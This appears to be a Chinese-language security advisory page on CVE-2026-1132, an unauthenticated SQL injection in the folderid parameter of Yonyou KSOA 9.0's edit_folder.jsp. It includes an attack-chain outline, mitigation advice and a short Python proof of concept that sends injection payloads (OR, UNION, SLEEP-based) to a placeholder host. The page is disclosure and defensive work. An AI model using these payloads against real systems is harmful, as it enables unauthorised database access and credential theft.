IPBUF安全漏洞报告
English
CVE-2026-1132 CVSS 7.3 高危

CVE-2026-1132 | 用友KSOA 9.0 edit_folder.jsp SQL注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1132
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yonyou KSOA 9.0

相关标签

SQL注入用友KSOACVE-2026-1132WEB安全数据库注入高危漏洞无需认证远程攻击

漏洞概述

CVE-2026-1132是存在于用友KSOA 9.0版本中的一个高危SQL注入漏洞。该漏洞位于/kmf/edit_folder.jsp文件中的HTTP GET参数处理组件,攻击者可通过操纵folderid参数实现SQL注入攻击。由于漏洞可远程利用且无需认证,攻击者可以在不获取任何用户凭证的情况下,通过构造恶意SQL语句获取数据库中的敏感信息,包括用户数据、业务数据、系统配置信息等。该漏洞已被公开披露,厂商用友软件虽已收到漏洞通报但未做出任何回应。由于漏洞影响版本较为广泛,且攻击利用难度较低,建议受影响的用户尽快采取防护措施或寻找替代方案。

技术细节

该SQL注入漏洞存在于用友KSOA 9.0的/kmf/edit_folder.jsp文件中。漏洞根源在于应用程序对用户输入的folderid参数未进行充分的输入验证和SQL语句参数化处理。攻击者可以通过构造特殊的SQLpayload(如使用单引号、UNION SELECT、布尔盲注等技术)来执行任意SQL命令。具体来说,当用户请求类似/kmf/edit_folder.jsp?folderid=xxx的URL时,后端程序直接将folderid参数值拼接到SQL查询语句中,而没有使用预处理语句或输入过滤机制。攻击者可以利用UNION注入提取数据库版本、表结构、用户密码哈希等敏感信息,或者使用时间盲注进行数据外泄。由于该接口通常不需要认证即可访问,攻击者可以在内网或外网环境中直接发起攻击,成功率较高。

攻击链分析

STEP 1
步骤1
信息收集:攻击者确认目标系统使用用友KSOA 9.0,并识别出存在/kmf/edit_folder.jsp接口
STEP 2
步骤2
漏洞探测:攻击者向/kmf/edit_folder.jsp发送带有SQL特殊字符的folderid参数,观察响应特征判断是否存在SQL注入
STEP 3
步骤3
注入利用:使用UNION SELECT或布尔盲注技术构造恶意SQL语句,提取数据库中的敏感信息
STEP 4
步骤4
数据外泄:获取用户表、密码哈希、业务数据等敏感信息,可能包括管理员凭据
STEP 5
步骤5
权限提升:利用获取的凭据进一步渗透内网系统或执行系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-1132 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /kmf/edit_folder.jsp # Parameter: folderid target_url = "http://target.com/kmf/edit_folder.jsp" # Basic injection test - check for SQL error payloads = [ "1'", # Basic SQL injection "1' OR '1'='1", # OR injection "1' UNION SELECT NULL--", # Union injection "1' AND SLEEP(5)--", # Time-based blind injection ] for payload in payloads: params = {"folderid": payload} try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'error']): print(f"[+] Potential SQL Injection found with payload: {payload}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] No injection detected with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Example: Extract database version using UNION injection version_payload = "1' UNION SELECT @@version--" print(f"\n[*] Testing version extraction with: {version_payload}")

影响范围

Yonyou KSOA 9.0

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1)通过Web应用防火墙对/kmf/edit_folder.jsp接口实施临时访问限制,仅允许受信任的IP地址访问;2)使用Nginx或Apache配置URL重写规则,对folderid参数进行初步过滤;3)暂时禁用/kmf/edit_folder.jsp功能,待漏洞修复后再恢复使用;4)加强对应用服务器和数据库服务器的监控日志分析,及时发现异常SQL注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表